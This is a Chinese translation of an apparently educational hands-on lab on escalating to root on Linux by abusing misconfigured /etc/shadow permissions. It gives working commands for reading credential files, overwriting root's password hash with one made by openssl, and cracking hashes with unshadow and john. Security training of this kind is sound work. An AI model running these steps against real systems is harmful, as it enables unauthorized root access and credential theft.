在 Linux 中利用 /etc/shadow 文件提升权限

Beginner

💡 本教程由 AI 辅助翻译自英文原版。如需查看原文,您可以 切换至英文原版

介绍

Linux 系统依赖 /etc/passwd/etc/shadow 文件进行用户认证和访问控制。如果系统管理员错误配置了这些文件的权限或内容,可能会为权限提升攻击创造机会。在本实验中,你将学习如何利用 /etc/shadow 文件在 Linux 系统上获取 root 权限。此场景假设你已经以普通用户的身份获得了初始的低权限 shell 访问。


Skills Graph

理解 /etc/shadow 文件

在这一步中,你将学习 /etc/shadow 文件的结构和作用。

/etc/shadow 文件存储了每个用户账户的加密密码以及与密码相关的配置信息。文件中的每一行代表一个用户,包含 9 个由冒号分隔的字段:

  1. 用户名
  2. 加密的密码哈希值
  3. 自纪元(1970-01-01)以来密码最后一次更改的天数
  4. 密码更改之间所需的最短天数
  5. 密码有效的最大天数
  6. 密码过期前警告用户的天数
  7. 密码过期后账户被禁用的天数
  8. 自纪元(1970-01-01)以来账户将被禁用的天数
  9. 保留字段,供未来使用

打开终端并导航到 /home/labex/project 目录。

cd /home/labex/project

让我们检查 /etc/shadow 文件中 labex 用户的条目:

sudo cat /etc/shadow | grep labex > /home/labex/project/labex_shadow.txt

注意,我们使用了 sudo 来读取 /etc/shadow 文件。这是因为该文件仅对 root 用户可读。

检查 labex_shadow.txt 文件的内容:

cat labex_shadow.txt

示例输出:

labex:$y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8:19818:0:99999:7:::

这一行表示:

  • 用户名:labex
  • 加密的密码哈希值:$y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8
  • 上次密码更改:自纪元(1970-01-01)以来的 19818 天
  • 最短密码有效期:0 天(无限制)
  • 最长密码有效期:99999 天(永不过期)
  • 密码警告期:过期前 7 天
  • 账户永不过期

默认情况下,只有 root 用户可以读取和修改 /etc/shadow 文件。然而,配置错误的权限有时会为权限提升提供机会。

通过写入权限提升权限到 /etc/shadow

在这一步中,你将学习如何通过修改 /etc/shadow 文件中的 root 密码来提升权限,前提是你对该文件具有写入权限。

  1. 首先,打开终端并导航到 /home/labex/project 目录:

    cd /home/labex/project

    你会在目录中找到一个名为 env_setup_1.sh 的脚本。运行此脚本来设置环境:

    ./env_setup_1.sh

    这将设置环境并将你切换到 user001 用户,模拟初始的低权限 shell 访问。

    导航到 user001 的主目录:

    cd ~
  2. 接下来,检查 /etc/shadow 文件的权限:

    ls -alh /etc/shadow

    示例输出:

    -rw-r----- 1 user001 shadow 1.2K Apr 6 19:16 /etc/shadow

    你应该会看到,由于配置错误user001 用户对 /etc/shadow 文件具有写入权限。

  3. 现在,你可以编辑 /etc/shadow 文件,并将 root 用户的密码哈希替换为新的哈希值。

    首先,查看当前的 root 密码哈希:

    cat /etc/shadow | grep root

    示例输出:

    root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::

    要设置一个新密码(例如 pass123),使用 openssl 工具生成一个新的密码哈希:

    openssl passwd -1 -salt ignite pass123

    示例输出:

    $1$ignite$3eTbJm98O9Hz.k1NTdNxe1
  4. 在文本编辑器中打开 /etc/shadow 文件,并将 root 用户的密码哈希替换为新的哈希值。

    nano /etc/shadow

    找到 root 用户的密码哈希:

    root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::

    将密码哈希替换为新的哈希值:

    root:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:18167:0:99999:7:::

    保存更改并退出编辑器。

  5. 最后,使用 su root 命令切换到 root 用户,并在提示时输入新密码 pass123

    su root

你现在应该已经获得了系统的 root 权限。

通过读取权限提升权限到 /etc/shadow

在这一步中,你将学习如何通过破解 root 密码哈希来提升权限,前提是你对 /etc/shadow 文件仅具有读取权限。

在上一步之后,你应该仍然处于 root 用户。你可以打开一个新终端,或者使用 exit 命令注销当前用户,直到你回到 labex 用户。

  1. 当你处于 labex 用户时,导航到 /home/labex/project 目录:

    cd /home/labex/project

    运行 env_setup_2.sh 脚本来设置环境:

    ./env_setup_2.sh

    这将设置一个新的环境,其中 user001 用户对 /etc/shadow 文件具有读取权限。

    导航到 user001 的主目录:

    cd ~
  2. 验证 /etc/shadow 文件的权限:

    ls -alh /etc/shadow

    示例输出:

    -rw-r--r-- 1 root shadow 1.2K Apr 6 19:19 /etc/shadow

    你应该会看到,由于配置错误user001 用户对 /etc/shadow 文件具有读取权限。

  3. 接下来,我们可以使用 john 工具来破解 root 用户的密码哈希。在使用 john 之前,你需要使用 unshadow 命令将 /etc/passwd/etc/shadow 文件的内容合并:

    unshadow /etc/passwd /etc/shadow > ~/shadow_crack.txt
  4. 现在,对 shadow_crack.txt 文件运行 john,以破解 root 用户的密码哈希,并将破解的密码保存到一个文件中:

    john --users=root shadow_crack.txt > cracked_passwords.txt

    检查 cracked_passwords.txt 文件的内容以查看破解的密码:

    Loaded 1 password hash (md5crypt [MD5 32/64 X2])
    study            (root)
  5. 最后,使用 su root 命令切换到 root 用户,并在提示时输入破解的密码 study

    su root

你现在应该已经获得了系统的 root 权限。

总结

在本实验中,你学习了 /etc/shadow 文件的结构和作用,以及通过利用该文件提升权限的两种方法:通过写入权限修改 root 密码哈希,或通过读取权限破解 root 密码哈希。这些技术展示了在 Linux 环境中正确配置文件权限和保护敏感系统文件的重要性。